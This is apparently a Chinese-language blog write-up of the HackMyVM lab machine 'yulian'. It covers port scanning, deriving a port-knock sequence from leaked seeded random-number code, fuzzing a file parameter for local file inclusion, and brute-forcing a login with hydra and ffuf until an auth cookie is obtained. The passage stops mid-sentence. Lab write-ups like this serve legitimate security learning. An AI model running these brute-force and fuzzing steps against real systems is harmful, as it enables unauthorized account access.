{"id":932,"date":"2026-01-18T19:00:37","date_gmt":"2026-01-18T11:00:37","guid":{"rendered":"http:\/\/162.14.82.114\/?p=932"},"modified":"2026-01-18T19:00:37","modified_gmt":"2026-01-18T11:00:37","slug":"hmv-_-yulian","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/932\/01\/18\/2026\/","title":{"rendered":"hmv[-_-]yulian"},"content":{"rendered":"<h1>yulian<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730197.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730197.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260110153201940\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730198.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730198.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260110152923681\" style=\"zoom:50%;\" \/><\/div><\/p>\n<blockquote>\n<p>\u7b2c\u4e00\u6b21\u4f7f\u7528mac\u6253\u9776\u673a\uff0c\u633a\u597d\u73a9\u7684\uff0c\u914d\u7f6e\u9776\u673a\u53ef\u4ee5\u53c2\u8003todd\u7684<a href=\"https:\/\/www.bilibili.com\/video\/BV1mM4m1k7Ct\/?spm_id_from=333.1387.homepage.video_card.click\">\u8fdc\u53e4\u89c6\u9891<\/a>\uff0c\u5f88\u597d\u7528\u3002<\/p>\n<\/blockquote>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ rustscan --no-banner -a $IP --ulimit 5000\n[~] Automatically increasing ulimit value to 5000.\nOpen 192.168.64.4:22\nOpen 192.168.64.4:80\n[~] Starting Script(s)\n[~] Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2026-01-10 07:38 UTC\nInitiating Ping Scan at 07:38\nScanning 192.168.64.4 [2 ports]\nCompleted Ping Scan at 07:38, 0.00s elapsed (1 total hosts)\nInitiating Parallel DNS resolution of 1 host. at 07:38\nCompleted Parallel DNS resolution of 1 host. at 07:38, 0.00s elapsed\nDNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]\nInitiating Connect Scan at 07:38\nScanning 192.168.64.4 [2 ports]\nDiscovered open port 22\/tcp on 192.168.64.4\nDiscovered open port 80\/tcp on 192.168.64.4\nCompleted Connect Scan at 07:38, 0.00s elapsed (2 total ports)\nNmap scan report for 192.168.64.4\nHost is up, received syn-ack (0.0012s latency).\nScanned at 2026-01-10 07:38:47 UTC for 0s\n\nPORT   STATE SERVICE REASON\n22\/tcp open  ssh     syn-ack\n80\/tcp open  http    syn-ack\n\nRead data files from: \/usr\/bin\/..\/share\/nmap\nNmap done: 1 IP address (1 host up) scanned in 0.20 seconds<\/code><\/pre>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ gobuster dir -u http:\/\/$IP -w \/usr\/share\/seclists\/Discovery\/Web-Content\/DirBuster-2007_directory-list-2.3-medium.txt\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.64.4\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/seclists\/Discovery\/Web-Content\/DirBuster-2007_directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\nProgress: 220559 \/ 220560 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n<h2>\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>\u8e29\u70b9<\/h3>\n<pre><code class=\"language-c\">pwn@ubuntu:~\/temp\/yulian$ curl -s http:\/\/$IP\n&lt;!DOCTYPE html&gt;\n&lt;html lang=&quot;en&quot;&gt;\n&lt;head&gt;\n  &lt;meta charset=&quot;UTF-8&quot;&gt;\n  &lt;title&gt;Linux Terminal Simulator&lt;\/title&gt;\n  &lt;style&gt;\n    body {\n      background-color: #000;\n      color: #00ff00;\n      font-family: monospace;\n      margin: 0;\n      padding: 10px;\n    }\n    #terminal {\n      white-space: pre-wrap;\n      min-height: 90vh;\n      overflow-y: auto;\n    }\n    .line {\n      display: flex;\n      flex-wrap: wrap;\n    }\n    input {\n      background: none;\n      border: none;\n      color: #00ff00;\n      font-family: monospace;\n      font-size: 1em;\n      outline: none;\n      flex: 1;\n    }\n    ::selection {\n      background: #008000;\n    }\n  &lt;\/style&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n  &lt;div id=&quot;terminal&quot;&gt;&lt;\/div&gt;\n\n  &lt;script&gt;\n    const terminal = document.getElementById(&quot;terminal&quot;);\n\n    const fileSystem = {\n      &quot;home&quot;: {\n        &quot;user&quot;: {\n          &quot;file1.txt&quot;: &quot;Hello, this is file1.&quot;,\n          &quot;notes.md&quot;: &quot;# Notes\\nThis is a markdown file.&quot;\n        }\n      },\n      &quot;var&quot;: {\n        &quot;log.txt&quot;: &quot;System log content here.&quot;\n      },\n      &quot;opt&quot;:{\n        &quot;code&quot;:{\n            &quot;test.c&quot;:`#include&lt;stdio.h&gt;\n#include&lt;stdlib.h&gt;\n\nint main()\n{\n        srand(114514);\n        for(int i = 0; i &lt; 114514; i++)\n        {\n                rand();\n        }\n        printf(&quot;%d\\\\n&quot;,rand()%65535);\n\n        printf(&quot;%d\\\\n&quot;,rand()%65535);\n\n        printf(&quot;%d\\\\n&quot;,rand()%65535);\n\n        return 0;\n}`\n        }\n      }\n\n    };\n\n    let currentPath = [&quot;home&quot;, &quot;user&quot;];\n    let history = [];\n    let historyIndex = -1;\n\n    function getDir(pathArr, fs) {\n      let node = fs;\n      for (let part of pathArr) {\n        if (node[part] &amp;&amp; typeof node[part] === &#039;object&#039;) {\n          node = node[part];\n        } else {\n          return null;\n        }\n      }\n      return node;\n    }\n\n    function getPathString() {\n      return &quot;\/&quot; + currentPath.join(&quot;\/&quot;);\n    }\n\n    function renderPrompt() {\n      return `user@linux:${getPathString()}$ `;\n    }\n\n    function printOutput(prompt, input, output) {\n      const block = document.createElement(&quot;div&quot;);\n      block.innerHTML = `\n        &lt;div&gt;${prompt}${input}&lt;\/div&gt;\n        &lt;div&gt;${output}&lt;\/div&gt;\n      `;\n      terminal.appendChild(block);\n    }\n\n    function createInputLine() {\n      const line = document.createElement(&quot;div&quot;);\n      line.className = &quot;line&quot;;\n\n      const promptSpan = document.createElement(&quot;span&quot;);\n      promptSpan.textContent = renderPrompt();\n\n      const input = document.createElement(&quot;input&quot;);\n      input.type = &quot;text&quot;;\n      input.autofocus = true;\n\n      line.appendChild(promptSpan);\n      line.appendChild(input);\n      terminal.appendChild(line);\n\n      input.focus();\n\n      input.addEventListener(&quot;keydown&quot;, (e) =&gt; {\n        if (e.key === &quot;Enter&quot;) {\n          const value = input.value.trim();\n          input.disabled = true;\n          runCommand(value);\n        } else if (e.key === &quot;ArrowUp&quot;) {\n          if (historyIndex &gt; 0) {\n            historyIndex--;\n            input.value = history[historyIndex];\n          }\n        } else if (e.key === &quot;ArrowDown&quot;) {\n          if (historyIndex &lt; history.length - 1) {\n            historyIndex++;\n            input.value = history[historyIndex];\n          } else {\n            input.value = &quot;&quot;;\n          }\n        }\n      });\n    }\n\n    function runCommand(input) {\n      const prompt = renderPrompt();\n      if (input !== &quot;&quot;) {\n        history.push(input);\n        historyIndex = history.length;\n      }\n\n      function escapeHTML(str) {\n            return str.replace(\/&amp;\/g, &quot;&amp;&quot;).replace(\/&lt;\/g, &quot;&lt;&quot;).replace(\/&gt;\/g, &quot;&gt;&quot;);\n    }\n\n      const args = input.split(&quot; &quot;);\n      const cmd = args[0];\n      const param = args.slice(1);\n      const currentDir = getDir(currentPath, fileSystem);\n      let output = &quot;&quot;;\n\n      switch (cmd) {\n        case &quot;help&quot;:\n          output = &quot;command: help, clear, echo, ls, cd, cat, date&quot;;\n          break;\n        case &quot;clear&quot;:\n          terminal.innerHTML = &quot;&quot;;\n          createInputLine();\n          return;\n        case &quot;echo&quot;:\n          output = param.join(&quot; &quot;);\n          break;\n        case &quot;date&quot;:\n          output = new Date().toString();\n          break;\n        case &quot;ls&quot;:\n          if (currentDir) {\n            output = Object.keys(currentDir).join(&quot;  &quot;);\n          } else {\n            output = &quot;Unable to access current directory&quot;;\n          }\n          break;\n        case &quot;cd&quot;:\n          if (param.length === 0 || param[0] === &quot;~&quot;) {\n            currentPath = [&quot;home&quot;, &quot;user&quot;];\n          } else if (param[0] === &quot;..&quot;) {\n            if (currentPath.length &gt; 0) currentPath.pop();\n          } else {\n            const target = param[0];\n            const newPath = [...currentPath, target];\n            const targetDir = getDir(newPath, fileSystem);\n            if (targetDir &amp;&amp; typeof targetDir === &quot;object&quot;) {\n              currentPath = newPath;\n            } else {\n              output = `cd: no such directory: ${target}`;\n            }\n          }\n          break;\n        case &quot;cat&quot;:\n          if (param.length === 0) {\n            output = &quot;cat: Requires filename parameter&quot;;\n          } else {\n            const file = param[0];\n            if (currentDir[file] &amp;&amp; typeof currentDir[file] === &quot;string&quot;) {\n              output = escapeHTML(currentDir[file]);\n            } else {\n              output = `cat: File not found ${file}`;\n            }\n          }\n          break;\n        case &quot;&quot;:\n          output = &quot;&quot;;\n          break;\n        default:\n          output = `command not found: ${cmd}`;\n      }\n\n      printOutput(prompt, input, output);\n      createInputLine();\n      terminal.scrollTop = terminal.scrollHeight;\n    }\n\n    createInputLine();\n    terminal.addEventListener(&quot;click&quot;, () =&gt; {\n      const inputs = terminal.querySelectorAll(&quot;input&quot;);\n      if (inputs.length &gt; 0) inputs[inputs.length - 1].focus();\n    });\n  &lt;\/script&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<p>\u53d1\u73b0\u4e00\u4e2a\u8bbe\u5b9a\u4e86\u79cd\u5b50\u7684\u968f\u673a\u6570\uff1a<\/p>\n<pre><code class=\"language-c\">#include&lt;stdlib.h&gt;\n\nint main()\n{\n        srand(114514);\n        for(int i = 0; i &lt; 114514; i++)\n        {\n                rand();\n        }\n        printf(&quot;%d\\\\n&quot;,rand()%65535);\n\n        printf(&quot;%d\\\\n&quot;,rand()%65535);\n\n        printf(&quot;%d\\\\n&quot;,rand()%65535);\n\n        return 0;\n}<\/code><\/pre>\n<h3>\u5047\u968f\u673a\u6570knock<\/h3>\n<p>\u770b\u4e00\u4e0b\u8fd9\u51e0\u4e2a\u968f\u673a\u6570\u662f\u5565\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ gcc knock.c\nknock.c: In function \u2018main\u2019:\nknock.c:10:9: warning: implicit declaration of function \u2018printf\u2019 [-Wimplicit-function-declaration]\n   10 |         printf(&quot;%d\\\\n&quot;,rand()%65535);\n      |         ^~~~~~\nknock.c:2:1: note: include \u2018&lt;stdio.h&gt;\u2019 or provide a declaration of \u2018printf\u2019\n    1 | #include&lt;stdlib.h&gt;\n  +++ |+#include &lt;stdio.h&gt;\n    2 |\nknock.c:10:9: warning: incompatible implicit declaration of built-in function \u2018printf\u2019 [-Wbuiltin-declaration-mismatch]\n   10 |         printf(&quot;%d\\\\n&quot;,rand()%65535);\n      |         ^~~~~~\nknock.c:10:9: note: include \u2018&lt;stdio.h&gt;\u2019 or provide a declaration of \u2018printf\u2019\npwn@ubuntu:~\/temp\/yulian$ ls -la\ntotal 28\ndrwxrwxr-x 2 pwn pwn  4096 Jan 10 08:22 .\ndrwxrwxr-x 3 pwn pwn  4096 Jan 10 07:54 ..\n-rwxrwxr-x 1 pwn pwn 16032 Jan 10 08:22 a.out\n-rw-rw-r-- 1 pwn pwn   278 Jan 10 08:21 knock.c\npwn@ubuntu:~\/temp\/yulian$ .\/a.out\n6440\\n17226\\n31925\\npwn@ubuntu:~\/temp\/yulian$ .\/a.out\n6440\\n17226\\n31925\\n<\/code><\/pre>\n<p>\u5c1d\u8bd5<code>knock<\/code>\u4e00\u4e0b<code>6440,17226,31925<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ knock $IP 6440 17226 31925\npwn@ubuntu:~\/temp\/yulian$ nmap $IP\nStarting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2026-01-17 03:28 UTC\nNmap scan report for 192.168.64.4 (192.168.64.4)\nHost is up (0.0016s latency).\nNot shown: 997 closed tcp ports (conn-refused)\nPORT     STATE SERVICE\n22\/tcp   open  ssh\n80\/tcp   open  http\n8080\/tcp open  http-proxy\n\nNmap done: 1 IP address (1 host up) scanned in 0.46 seconds<\/code><\/pre>\n<p>\u53d1\u73b0<code>8080<\/code>\u5f00\u653e\u4e86\uff0c\u770b\u4e00\u4e0b\u5565\u60c5\u51b5\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ gobuster dir -u http:\/\/$IP:8080 -w \/usr\/share\/seclists\/Discovery\/Web-Content\/DirBuster-2007_directory-list-2.3-medium.txt -x html,php,txt\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.64.4:8080\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/seclists\/Discovery\/Web-Content\/DirBuster-2007_directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              txt,html,php\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/download             (Status: 400) [Size: 158]\n\/login                (Status: 405) [Size: 149]\n\/login.html           (Status: 200) [Size: 2270]\n\/test                 (Status: 200) [Size: 39]\n\/logout               (Status: 302) [Size: 0] [--&gt; http:\/\/192.168.64.4:8080\/login.html]\n\/success              (Status: 200) [Size: 47]\n\/error                (Status: 500) [Size: 105]<\/code><\/pre>\n<p>\u770b\u4e00\u4e0b\u51e0\u4e2a\u57fa\u7840\u7684\uff1a<\/p>\n<pre><code>pwn@ubuntu:~\/temp\/yulian$ curl -s http:\/\/$IP:8080\/test\n&lt;h1&gt;Website is under development.......\npwn@ubuntu:~\/temp\/yulian$ curl -s http:\/\/$IP:8080\/success\n&lt;script&gt;window.location=&#039;\/login.html&#039;;&lt;\/script&gt;\npwn@ubuntu:~\/temp\/yulian$ curl -s http:\/\/$IP:8080\/download\n{&quot;timestamp&quot;:&quot;2026-01-10T08:39:10.684+0000&quot;,&quot;status&quot;:400,&quot;error&quot;:&quot;Bad Request&quot;,&quot;message&quot;:&quot;Required String parameter &#039;file&#039; is not present&quot;,&quot;path&quot;:&quot;\/download&quot;}<\/code><\/pre>\n<h3>FUZZ<\/h3>\n<p>\u65f6\u95f4\u5bf9\u4e0d\u4e0a\u662f\u56e0\u4e3a\u9776\u673a\u662f\u524d\u51e0\u5929\u4e0b\u7684\u3002\u3002\u3002\u3002\u3002\u3002\u53d1\u73b0\u9700\u8981\u8bf7\u6c42\u4e00\u4e2a<code>file<\/code>\u53c2\u6570\uff0c\u53ef\u4ee5\u5c1d\u8bd5fuzz\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ ffuf -u http:\/\/$IP:8080\/?file=FUZZ -w \/usr\/share\/seclists\/Fuzzing\/LFI\/LFI-gracefulsecurity-linux.txt -fs 0\n\n        \/&#039;___\\  \/&#039;___\\           \/&#039;___\\\n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/\n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\\n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/\n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\\n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/\n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http:\/\/192.168.64.4:8080\/?file=FUZZ\n :: Wordlist         : FUZZ: \/usr\/share\/seclists\/Fuzzing\/LFI\/LFI-gracefulsecurity-linux.txt\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n :: Filter           : Response size: 0\n________________________________________________\n\n:: Progress: [881\/881] :: Job [1\/1] :: 550 req\/sec :: Duration: [0:00:01] :: Errors: 0 ::<\/code><\/pre>\n<p>\u53d1\u73b0\u4e00\u65e0\u6240\u83b7\uff0c\u5c1d\u8bd5\u4e00\u4e0b\u5176\u4ed6\u7684\u65b9\u5411\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ curl -s http:\/\/$IP:8080\/login\n{&quot;timestamp&quot;:&quot;2026-01-10T08:52:54.050+0000&quot;,&quot;status&quot;:405,&quot;error&quot;:&quot;Method Not Allowed&quot;,&quot;message&quot;:&quot;Request method &#039;GET&#039; not supported&quot;,&quot;path&quot;:&quot;\/login&quot;}\n\npwn@ubuntu:~\/temp\/yulian$ curl -s http:\/\/$IP:8080\/login.html\n&lt;!DOCTYPE html&gt;\n&lt;head&gt;\n    &lt;meta charset=&quot;UTF-8&quot;&gt;\n    &lt;title&gt;Login&lt;\/title&gt;\n    &lt;style&gt;\n        body {\n            font-family: &#039;Segoe UI&#039;, sans-serif;\n            background: linear-gradient(to right, #74ebd5, #ACB6E5);\n            display: flex;\n            justify-content: center;\n            align-items: center;\n            height: 100vh;\n            margin: 0;\n        }\n\n        .login-container {\n            background: white;\n            padding: 40px;\n            border-radius: 12px;\n            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);\n            width: 300px;\n        }\n\n        .login-container h2 {\n            text-align: center;\n            margin-bottom: 24px;\n            color: #333;\n        }\n\n        .login-container input[type=&quot;text&quot;],\n        .login-container input[type=&quot;password&quot;] {\n            width: 100%;\n            padding: 12px;\n            margin-bottom: 20px;\n            border: 1px solid #ccc;\n            border-radius: 8px;\n            box-sizing: border-box;\n        }\n\n        .login-container input[type=&quot;submit&quot;] {\n            width: 100%;\n            padding: 12px;\n            background-color: #4CAF50;\n            color: white;\n            border: none;\n            border-radius: 8px;\n            cursor: pointer;\n            font-size: 16px;\n        }\n\n        .login-container input[type=&quot;submit&quot;]:hover {\n            background-color: #45a049;\n        }\n\n        .message {\n            color: red;\n            text-align: center;\n            margin-top: 10px;\n        }\n    &lt;\/style&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;div class=&quot;login-container&quot;&gt;\n    &lt;h2&gt;Login&lt;\/h2&gt;\n    &lt;form method=&quot;post&quot; action=&quot;\/login&quot;&gt;\n        &lt;input type=&quot;text&quot; name=&quot;username&quot; placeholder=&quot;user&quot; required&gt;\n        &lt;input type=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;pass&quot; required&gt;\n        &lt;input type=&quot;submit&quot; value=&quot;Login&quot;&gt;\n    &lt;\/form&gt;\n    &lt;div class=&quot;message&quot;&gt;\n        &lt;span id=&quot;error-message&quot;&gt;&lt;\/span&gt;\n    &lt;\/div&gt;\n&lt;\/div&gt;\n&lt;script&gt;\n    const urlParams = new URLSearchParams(window.location.search);\n    const error = urlParams.get(&#039;error&#039;);\n    if (error) {\n        document.getElementById(&#039;error-message&#039;).innerText = decodeURIComponent(error);\n    }\n&lt;\/script&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<p>\u53d1\u73b0\u4e00\u4e2a\u767b\u5f55\u754c\u9762\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730199.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730199.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260117115559282\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u7206\u7834\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ hydra -l admin -P \/usr\/share\/rockyou.txt -s 8080 $IP http-post-form &quot;\/login.html:username=^USER^&amp;password=^PASS^&amp;submit=login:Wrong&quot;\nHydra v9.5 (c) 2023 by van Hauser\/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2026-01-17 04:15:48\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1\/p:14344398), ~896525 tries per task\n[DATA] attacking http-post-form:\/\/192.168.64.4:8080\/login.html:username=^USER^&amp;password=^PASS^&amp;submit=login:Wrong\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: babygirl\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: daniel\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: 1234567\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: rockyou\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: 12345678\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: 12345\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: abc123\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: jessica\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: princess\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: iloveyou\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: 123456789\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: password\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: monkey\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: lovely\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: nicole\n[8080][http-post-form] host: 192.168.64.4   login: admin   password: 123456\n1 of 1 target successfully completed, 16 valid passwords found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2026-01-17 04:15:54<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\u4e00\u4e0b\uff0c\u53d1\u73b0\u5931\u8d25\u4e86\uff0c\u5947\u602a\u4e86\uff0c\u53ef\u80fd\u662f\u54ea\u91cc\u5f04\u9519\u4e86\uff1f\u5c1d\u8bd5\u91cd\u65b0\u8fdb\u884c\u6d4b\u8bd5\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ ffuf -u http:\/\/192.168.64.4:8080\/login -X POST -d &quot;username=admin&amp;password=FUZZ&quot; -w \/usr\/share\/rockyou.txt -H &quot;Content-type: application\/x-www-form-urlencoded&quot;  -fr &quot;wrong&quot; -H &quot;Referer: http:\/\/192.168.64.4:8080\/login.html&quot;<\/code><\/pre>\n<p>\u53d1\u73b0\u6e05\u4e00\u8272\u7684<code>302<\/code>\uff0c\u53d1\u73b0\u5728\u8df3\u8f6c\uff0c\u5c1d\u8bd5\u8fdb\u884c\u8ddf\u968f\u8df3\u8f6c<code>  -r     Follow redirects (default: false)<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ ffuf -u http:\/\/$IP:8080\/login -X POST -d &quot;username=admin&amp;password=FUZZ&quot; -w \/usr\/share\/rockyou.txt -H &quot;Content-type: application\/x-www-form-urlencoded&quot;  -fr &quot;wrong&quot; -H &quot;Referer: http:\/\/192.168.64.4:8080\/login.html&quot; -r\n\n        \/&#039;___\\  \/&#039;___\\           \/&#039;___\\\n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/\n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\\n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/\n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\\n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/\n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : POST\n :: URL              : http:\/\/192.168.64.4:8080\/login\n :: Wordlist         : FUZZ: \/usr\/share\/rockyou.txt\n :: Header           : Content-Type: application\/x-www-form-urlencoded\n :: Header           : Referer: http:\/\/192.168.64.4:8080\/login.html\n :: Data             : username=admin&amp;password=FUZZ\n :: Follow redirects : true\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n :: Filter           : Regexp: wrong\n________________________________________________\n\n123457                  [Status: 200, Size: 47, Words: 1, Lines: 1, Duration: 245ms]<\/code><\/pre>\n<p>\u627e\u5230\u4e86\u4e00\u4e2a\u5bc6\u7801<code>123457<\/code>\uff0c\u770b\u4e00\u4e0b\u5565\u60c5\u51b5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730200.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730200.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260117130821210\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u8df3\u8f6c\u4e86\uff01\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ curl -X POST http:\/\/$IP:8080\/login\/ -d &quot;username=admin&amp;password=123457&quot; -vvv\nNote: Unnecessary use of -X or --request, POST is already inferred.\n*   Trying 192.168.64.4:8080...\n* Connected to 192.168.64.4 (192.168.64.4) port 8080\n> POST \/login\/ HTTP\/1.1\n> Host: 192.168.64.4:8080\n> User-Agent: curl\/8.5.0\n> Accept: *\/*\n> Content-Length: 30\n> Content-Type: application\/x-www-form-urlencoded\n>\n&lt; HTTP\/1.1 302\n&lt; Set-Cookie: auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN\/qPCFI=; Path=\/; HttpOnly\n&lt; Location: http:\/\/192.168.64.4:8080\/success\n&lt; Content-Length: 0\n&lt; Date: Sat, 10 Jan 2026 10:18:00 GMT\n&lt;\n* Connection #0 to host 192.168.64.4 left intact<\/code><\/pre>\n<p>\u53d1\u73b0\u8bbe\u7f6e\u4e86 